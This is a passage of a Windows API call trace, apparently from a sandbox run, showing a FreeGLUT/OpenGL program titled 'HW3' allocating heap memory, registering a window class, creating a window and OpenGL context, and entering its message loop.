(HeapHandle=0x3d0000, Flags=0x8, Size=0x12) returned 0x3d2150 [0126.452] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x18) returned 0x3d2170 [0126.452] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x46) returned 0x3d2190 [0126.452] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d11f8 | out: hHeap=0x3d0000) returned 1 [0126.453] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x762e0000 [0126.453] GetProcAddress (hModule=0x762e0000, lpProcName="IsProcessorFeaturePresent") returned 0x762f5235 [0126.453] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0126.454] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x800) returned 0x3d21e0 [0126.454] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x80) returned 0x3d11f8 [0126.454] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fee0 | out: lpSystemTimeAsFileTime=0x18fee0*(dwLowDateTime=0xcfdd2e50, dwHighDateTime=0x1d595b2)) [0126.455] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x442a59) returned 0x0 [0126.455] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3d11f8) returned 0x80 [0126.467] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3d11f8) returned 0x80 [0126.467] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x3d1280 [0126.467] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3d12a0 [0126.467] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x34) returned 0x3d12b0 [0126.468] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3d11f8) returned 0x80 [0126.468] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3d12f0 [0126.468] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x3d1300 [0126.468] GetLastError () returned 0x0 [0126.468] SetLastError (dwErrCode=0x0) [0126.468] GetLastError () returned 0x0 [0126.468] SetLastError (dwErrCode=0x0) [0126.468] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0xd8) returned 0x3d1320 [0126.468] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x355) returned 0x3d1400 [0126.469] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d1400 | out: hHeap=0x3d0000) returned 1 [0126.469] GetLastError () returned 0x0 [0126.469] SetLastError (dwErrCode=0x0) [0126.469] GetLastError () returned 0x0 [0126.469] SetLastError (dwErrCode=0x0) [0126.469] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0xd8) returned 0x3d1400 [0126.469] GetLastError () returned 0x0 [0126.469] SetLastError (dwErrCode=0x0) [0126.469] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x355) returned 0x3d29e8 [0126.469] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d29e8 | out: hHeap=0x3d0000) returned 1 [0126.469] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d1320 | out: hHeap=0x3d0000) returned 1 [0126.469] GetLastError () returned 0x0 [0126.469] SetLastError (dwErrCode=0x0) [0126.469] GetLastError () returned 0x0 [0126.470] SetLastError (dwErrCode=0x0) [0126.470] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x200) returned 0x3d14e0 [0126.470] GetLastError () returned 0x0 [0126.470] SetLastError (dwErrCode=0x0) [0126.470] GetLastError () returned 0x0 [0126.470] SetLastError (dwErrCode=0x0) [0126.470] GetLastError () returned 0x0 [0126.470] SetLastError (dwErrCode=0x0) [0126.470] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0xd8) returned 0x3d1320 [0126.470] GetLastError () returned 0x0 [0126.470] SetLastError (dwErrCode=0x0) [0126.470] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x355) returned 0x3d29e8 [0126.470] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d29e8 | out: hHeap=0x3d0000) returned 1 [0126.470] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d1400 | out: hHeap=0x3d0000) returned 1 [0126.471] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3d11f8) returned 0x80 [0126.471] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3d16e8 [0126.471] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3d11f8) returned 0x80 [0126.471] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3d11f8) returned 0x80 [0126.472] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3d11f8) returned 0x80 [0126.473] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3d11f8) returned 0x80 [0126.473] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3d16f8 [0126.474] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3d11f8) returned 0x80 [0126.474] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3d1708 [0126.474] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3d1718 [0126.474] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3d1728 [0126.474] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3d11f8) returned 0x80 [0126.474] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3d1738 [0126.474] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3d1748 [0126.474] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3d1758 [0126.475] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3d1768 [0126.475] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3d1778 [0126.475] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3d1400 [0126.475] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3d1410 [0126.475] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d1400 | out: hHeap=0x3d0000) returned 1 [0126.475] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x3d1428 [0126.475] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d1410 | out: hHeap=0x3d0000) returned 1 [0126.475] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x20) returned 0x3d1400 [0126.475] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d1428 | out: hHeap=0x3d0000) returned 1 [0126.475] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x30) returned 0x3d1428 [0126.475] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d1400 | out: hHeap=0x3d0000) returned 1 [0126.475] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x48) returned 0x3d1460 [0126.475] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d1428 | out: hHeap=0x3d0000) returned 1 [0126.475] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x68) returned 0x3d29e8 [0126.475] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d1460 | out: hHeap=0x3d0000) returned 1 [0126.475] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x98) returned 0x3d1400 [0126.475] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d29e8 | out: hHeap=0x3d0000) returned 1 [0126.475] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xe0) returned 0x3d29e8 [0126.475] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d1400 | out: hHeap=0x3d0000) returned 1 [0126.475] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x150) returned 0x3d2ad0 [0126.475] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d29e8 | out: hHeap=0x3d0000) returned 1 [0126.475] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x1f8) returned 0x3d2c28 [0126.475] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d2ad0 | out: hHeap=0x3d0000) returned 1 [0126.475] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x2f0) returned 0x3d2e28 [0126.475] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d2c28 | out: hHeap=0x3d0000) returned 1 [0126.475] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x468) returned 0x3d3120 [0126.476] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d2e28 | out: hHeap=0x3d0000) returned 1 [0126.476] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3d1400 [0126.476] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x320) returned 0x3d29e8 [0126.476] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d3120 | out: hHeap=0x3d0000) returned 1 [0126.476] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d1778 | out: hHeap=0x3d0000) returned 1 [0126.476] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x320) returned 0x3d2d10 [0126.476] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d29e8 | out: hHeap=0x3d0000) returned 1 [0126.476] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d1400 | out: hHeap=0x3d0000) returned 1 [0126.476] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3d11f8) returned 0x80 [0126.476] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3d11f8) returned 0x80 [0126.477] GetLastError () returned 0x0 [0126.477] SetLastError (dwErrCode=0x0) [0126.477] GetLastError () returned 0x0 [0126.477] SetLastError (dwErrCode=0x0) [0126.477] GetLastError () returned 0x0 [0126.477] SetLastError (dwErrCode=0x0) [0126.477] GetLastError () returned 0x0 [0126.477] SetLastError (dwErrCode=0x0) [0126.477] GetLastError () returned 0x0 [0126.477] SetLastError (dwErrCode=0x0) [0126.477] GetLastError () returned 0x0 [0126.477] SetLastError (dwErrCode=0x0) [0126.477] GetLastError () returned 0x0 [0126.477] SetLastError (dwErrCode=0x0) [0126.477] GetLastError () returned 0x0 [0126.477] SetLastError (dwErrCode=0x0) [0126.477] GetLastError () returned 0x0 [0126.477] SetLastError (dwErrCode=0x0) [0126.477] GetLastError () returned 0x0 [0126.477] SetLastError (dwErrCode=0x0) [0126.477] GetLastError () returned 0x0 [0126.477] SetLastError (dwErrCode=0x0) [0126.477] GetLastError () returned 0x0 [0126.478] SetLastError (dwErrCode=0x0) [0126.478] GetLastError () returned 0x0 [0126.478] SetLastError (dwErrCode=0x0) [0126.478] GetLastError () returned 0x0 [0126.478] SetLastError (dwErrCode=0x0) [0126.478] GetLastError () returned 0x0 [0126.478] SetLastError (dwErrCode=0x0) [0126.478] GetLastError () returned 0x0 [0126.478] SetLastError (dwErrCode=0x0) [0126.478] GetLastError () returned 0x0 [0126.478] SetLastError (dwErrCode=0x0) [0126.478] GetLastError () returned 0x0 [0126.478] SetLastError (dwErrCode=0x0) [0126.478] GetLastError () returned 0x0 [0126.478] SetLastError (dwErrCode=0x0) [0126.478] GetLastError () returned 0x0 [0126.478] SetLastError (dwErrCode=0x0) [0126.478] GetLastError () returned 0x0 [0126.478] SetLastError (dwErrCode=0x0) [0126.478] GetLastError () returned 0x0 [0126.478] SetLastError (dwErrCode=0x0) [0126.478] GetLastError () returned 0x0 [0126.478] SetLastError (dwErrCode=0x0) [0126.478] GetLastError () returned 0x0 [0126.478] SetLastError (dwErrCode=0x0) [0126.478] GetLastError () returned 0x0 [0126.479] SetLastError (dwErrCode=0x0) [0126.479] GetLastError () returned 0x0 [0126.479] SetLastError (dwErrCode=0x0) [0126.479] GetLastError () returned 0x0 [0126.479] SetLastError (dwErrCode=0x0) [0126.479] GetLastError () returned 0x0 [0126.479] SetLastError (dwErrCode=0x0) [0126.479] GetLastError () returned 0x0 [0126.479] SetLastError (dwErrCode=0x0) [0126.479] GetLastError () returned 0x0 [0126.479] SetLastError (dwErrCode=0x0) [0126.479] GetLastError () returned 0x0 [0126.479] SetLastError (dwErrCode=0x0) [0126.479] GetLastError () returned 0x0 [0126.479] SetLastError (dwErrCode=0x0) [0126.479] GetLastError () returned 0x0 [0126.479] SetLastError (dwErrCode=0x0) [0126.479] GetLastError () returned 0x0 [0126.479] SetLastError (dwErrCode=0x0) [0126.479] GetLastError () returned 0x0 [0126.479] SetLastError (dwErrCode=0x0) [0126.479] GetLastError () returned 0x0 [0126.479] SetLastError (dwErrCode=0x0) [0126.479] GetLastError () returned 0x0 [0126.480] SetLastError (dwErrCode=0x0) [0126.480] GetLastError () returned 0x0 [0126.480] SetLastError (dwErrCode=0x0) [0126.480] GetLastError () returned 0x0 [0126.480] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fedc | out: lpSystemTimeAsFileTime=0x18fedc*(dwLowDateTime=0xcfe0fee0, dwHighDateTime=0x1d595b2)) [0126.480] GetLastError () returned 0x0 [0126.480] GetLastError () returned 0x0 [0126.480] GetClassInfoA (in: hInstance=0x400000, lpClassName="FREEGLUT", lpWndClass=0x18fe98 | out: lpWndClass=0x18fe98) returned 0 [0126.480] LoadIconA (hInstance=0x400000, lpIconName="GLUT_ICON") returned 0x0 [0126.671] LoadIconA (hInstance=0x0, lpIconName=0x7f05) returned 0x10031 [0126.671] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0126.671] RegisterClassA (lpWndClass=0x18fe98) returned 0x2ac119 [0126.671] GetSystemMetrics (nIndex=0) returned 1440 [0126.787] GetSystemMetrics (nIndex=1) returned 900 [0126.787] GetDesktopWindow () returned 0x10010 [0126.787] GetDC (hWnd=0x10010) returned 0x40107c2 [0126.787] GetDeviceCaps (hdc=0x40107c2, index=4) returned 320 [0126.788] GetDeviceCaps (hdc=0x40107c2, index=6) returned 240 [0126.788] ReleaseDC (hWnd=0x10010, hDC=0x40107c2) returned 1 [0126.789] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0126.790] timeGetTime () returned 0x11352e5 [0126.790] timeGetTime () returned 0x11352e5 [0126.790] GetLastError () returned 0x0 [0126.791] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\FreeGLUT", phkResult=0x18fe60 | out: phkResult=0x18fe60*=0x0) returned 0x2 [0126.791] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x8, Size=0x1b8) returned 0x3d29e8 [0126.791] GetClassInfoA (in: hInstance=0x400000, lpClassName="FREEGLUT", lpWndClass=0x18fe20 | out: lpWndClass=0x18fe20) returned 1 [0126.791] CopyRect (in: lprcDst=0x18fdd0, lprcSrc=0x18fe04 | out: lprcDst=0x18fdd0) returned 1 [0126.791] AdjustWindowRectEx (in: lpRect=0x18fdd0, dwStyle=0x6cf0000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x18fdd0) returned 1 [0126.791] CopyRect (in: lprcDst=0x18fe04, lprcSrc=0x18fdd0 | out: lprcDst=0x18fe04) returned 1 [0126.791] CreateWindowExA (dwExStyle=0x0, lpClassName="FREEGLUT", lpWindowName="HW3", dwStyle=0x6cf0000, X=0, Y=100, nWidth=66, nHeight=88, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x3d29e8) returned 0x1012e [0126.793] NtdllDefWindowProc_A (hWnd=0x1012e, Msg=0x24, wParam=0x0, lParam=0x18f9f4) returned 0x0 [0126.793] NtdllDefWindowProc_A (hWnd=0x1012e, Msg=0x81, wParam=0x0, lParam=0x18f9e8) returned 0x1 [0126.796] NtdllDefWindowProc_A (hWnd=0x1012e, Msg=0x83, wParam=0x0, lParam=0x18f9d4) returned 0x0 [0126.796] GetDC (hWnd=0x1012e) returned 0x210106ca [0126.796] GetDeviceCaps (hdc=0x210106ca, index=12) returned 32 [0126.797] ChoosePixelFormat (hdc=0x210106ca, ppfd=0x18f714) returned 1 [0126.801] SetPixelFormat (hdc=0x210106ca, format=1, ppfd=0x18f714) returned 1 [0126.801] wglCreateContext () returned 0x10000 [0126.818] ReleaseDC (hWnd=0x1012e, hDC=0x210106ca) returned 1 [0126.818] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3d1778 [0126.818] SetWindowLongA (hWnd=0x1012e, nIndex=-16, dwNewLong=114229248) returned 114229248 [0126.819] NtdllDefWindowProc_A (hWnd=0x1012e, Msg=0x7c, wParam=0xfffffff0, lParam=0x18fd90) returned 0x0 [0126.819] NtdllDefWindowProc_A (hWnd=0x1012e, Msg=0x7d, wParam=0xfffffff0, lParam=0x18fd90) returned 0x0 [0127.311] NtdllDefWindowProc_A (hWnd=0x1012e, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0127.312] NtdllDefWindowProc_A (hWnd=0x1012e, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0127.312] NtdllDefWindowProc_A (hWnd=0x1012e, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0127.312] SetWindowPos (hWnd=0x1012e, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x27) returned 1 [0127.312] NtdllDefWindowProc_A (hWnd=0x1012e, Msg=0x46, wParam=0x0, lParam=0x18fdac) returned 0x0 [0127.312] NtdllDefWindowProc_A (hWnd=0x1012e, Msg=0x83, wParam=0x1, lParam=0x18fd84) returned 0x0 [0127.312] NtdllDefWindowProc_A (hWnd=0x1012e, Msg=0x46, wParam=0x0, lParam=0x18fdac) returned 0x0 [0127.313] NtdllDefWindowProc_A (hWnd=0x1012e, Msg=0x47, wParam=0x0, lParam=0x18fdac) returned 0x0 [0127.314] NtdllDefWindowProc_A (hWnd=0x1012e, Msg=0x83, wParam=0x1, lParam=0x18f990) returned 0x0 [0127.314] NtdllDefWindowProc_A (hWnd=0x1012e, Msg=0x1c, wParam=0x1, lParam=0x4ec) returned 0x0 [0127.314] NtdllDefWindowProc_A (hWnd=0x1012e, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1 [0127.317] NtdllDefWindowProc_A (hWnd=0x1012e, Msg=0x6, wParam=0x1, lParam=0x0) returned 0x0 [0127.325] NtdllDefWindowProc_A (hWnd=0x1012e, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0127.328] NtdllDefWindowProc_A (hWnd=0x1012e, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0127.328] NtdllDefWindowProc_A (hWnd=0x1012e, Msg=0x7, wParam=0x0, lParam=0x0) returned 0x0 [0127.328] SetActiveWindow (hWnd=0x1012e) returned 0x1012e [0127.328] UpdateWindow (hWnd=0x1012e) returned 1 [0127.328] NtdllDefWindowProc_A (hWnd=0x1012e, Msg=0x47, wParam=0x0, lParam=0x18fdac) returned 0x0 [0127.328] ShowWindow (hWnd=0x1012e, nCmdShow=1) returned 0 [0127.328] NtdllDefWindowProc_A (hWnd=0x1012e, Msg=0x46, wParam=0x0, lParam=0x18fdc0) returned 0x0 [0127.329] NtdllDefWindowProc_A (hWnd=0x1012e, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0127.330] NtdllDefWindowProc_A (hWnd=0x1012e, Msg=0x14, wParam=0x210106ca, lParam=0x0) returned 0x0 [0127.330] NtdllDefWindowProc_A (hWnd=0x1012e, Msg=0x47, wParam=0x0, lParam=0x18fdc0) returned 0x0 [0127.330] GetDC (hWnd=0x1012e) returned 0x210106ca [0127.330] wglMakeCurrent () returned 0x1 [0127.331] glViewport () returned 0x5cf0f8 [0127.354] IsIconic (hWnd=0x1012e) returned 0 [0127.354] GetWindowRect (in: hWnd=0x1012e, lpRect=0x18fb08 | out: lpRect=0x18fb08) returned 1 [0127.355] ShowCursor (bShow=1) returned 1 [0127.355] glDrawBuffer () returned 0x1 [0127.356] glReadBuffer () returned 0x1 [0127.356] wglGetProcAddress () returned 0x0 [0127.356] glClearColor () returned 0x5cf0f8 [0127.356] glClearDepth () returned 0x5cf110 [0127.356] glEnable () returned 0x5cf120 [0127.356] glDepthFunc () returned 0x5cf128 [0127.356] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x3d1400 [0127.356] timeGetTime () returned 0x1135507 [0127.356] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3d1420 [0127.356] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3d1430 [0127.356] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3d1440 [0127.356] GetLastError () returned 0x7f [0127.357] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3d1450 [0127.357] GetLastError () returned 0x7f [0127.357] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x3d1468 [0127.357] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d1450 | out: hHeap=0x3d0000) returned 1 [0127.357] GetLastError () returned 0x7f [0127.357] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x24) returned 0x3d1488 [0127.357] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d1468 | out: hHeap=0x3d0000) returned 1 [0127.357] GetLastError () returned 0x7f [0127.357] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x30) returned 0x3d1450 [0127.357] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d1488 | out: hHeap=0x3d0000) returned 1 [0127.357] GetLastError () returned 0x7f [0127.357] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x48) returned 0x3d1488 [0127.357] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d1450 | out: hHeap=0x3d0000) returned 1 [0127.357] GetLastError () returned 0x7f [0127.357] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3d1450 [0127.357] GetLastError () returned 0x7f [0127.357] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x48) returned 0x3d2ba8 [0127.357] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3d1460 [0127.357] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d1450 | out: hHeap=0x3d0000) returned 1 [0127.357] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3d1450 [0127.359] GetLastError () returned 0x7f [0127.359] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x90) returned 0x3d2bf8 [0127.359] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8b8 [0127.359] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8c8 [0127.359] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d1460 | out: hHeap=0x3d0000) returned 1 [0127.359] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d2ba8 | out: hHeap=0x3d0000) returned 1 [0127.359] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d1450 | out: hHeap=0x3d0000) returned 1 [0127.359] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8d8 [0127.359] GetLastError () returned 0x7f [0127.359] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xd8) returned 0x3de0a0 [0127.359] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8e8 [0127.359] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8f8 [0127.359] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd908 [0127.359] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8c8 | out: hHeap=0x3d0000) returned 1 [0127.359] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8b8 | out: hHeap=0x3d0000) returned 1 [0127.359] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d2bf8 | out: hHeap=0x3d0000) returned 1 [0127.359] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8d8 | out: hHeap=0x3d0000) returned 1 [0127.359] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8d8 [0127.359] GetLastError () returned 0x7f [0127.359] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x120) returned 0x3d2ba8 [0127.359] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8b8 [0127.359] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8c8 [0127.359] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd918 [0127.359] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd928 [0127.359] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8f8 | out: hHeap=0x3d0000) returned 1 [0127.359] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd908 | out: hHeap=0x3d0000) returned 1 [0127.359] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8e8 | out: hHeap=0x3d0000) returned 1 [0127.360] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0a0 | out: hHeap=0x3d0000) returned 1 [0127.360] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8d8 | out: hHeap=0x3d0000) returned 1 [0127.360] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd8d8 [0127.360] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3d1450 [0127.360] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8d8 | out: hHeap=0x3d0000) returned 1 [0127.360] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x3d1468 [0127.360] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d1450 | out: hHeap=0x3d0000) returned 1 [0127.360] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x20) returned 0x3d2cd0 [0127.360] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d1468 | out: hHeap=0x3d0000) returned 1 [0127.360] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x20) returned 0x3d1450 [0127.360] PeekMessageA (in: lpMsg=0x18feb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x18feb4) returned 1 [0127.360] GetMessageA (in: lpMsg=0x18feb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18feb4) returned 1 [0127.360] TranslateMessage (lpMsg=0x18feb4) returned 0 [0127.360] DispatchMessageA (lpMsg=0x18feb4) returned 0x0 [0127.360] GetUpdateRect (in: hWnd=0x1012e, lpRect=0x18fb30, bErase=0 | out: lpRect=0x18fb30) returned 1 [0127.360] BeginPaint (in: hWnd=0x1012e, lpPaint=0x18faf0 | out: lpPaint=0x18faf0) returned 0x210106ca [0127.360] EndPaint (hWnd=0x1012e, lpPaint=0x18faf0) returned 1 [0127.360] PeekMessageA (in: lpMsg=0x18feb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x18feb4) returned 0 [0127.360] timeGetTime () returned 0x113550b [0127.360] GetWindowRect (in: hWnd=0x1012e, lpRect=0x18fe70 | out: lpRect=0x18fe70) returned 1 [0127.360] GetClientRect (in: hWnd=0x1012e, lpRect=0x18fe70 | out: lpRect=0x18fe70) returned 1 [0127.360] glViewport () returned 0x5cf130 [0127.360] wglGetCurrentDC () returned 0x210106ca [0127.360] WindowFromDC (hDC=0x210106ca) returned 0x1012e [0127.360] ShowWindow (hWnd=0x1012e, nCmdShow=0) returned 1 [0127.361] NtdllDefWindowProc_A (hWnd=0x1012e, Msg=0x46, wParam=0x0, lParam=0x18fde0) returned 0x0 [0127.361] NtdllDefWindowProc_A 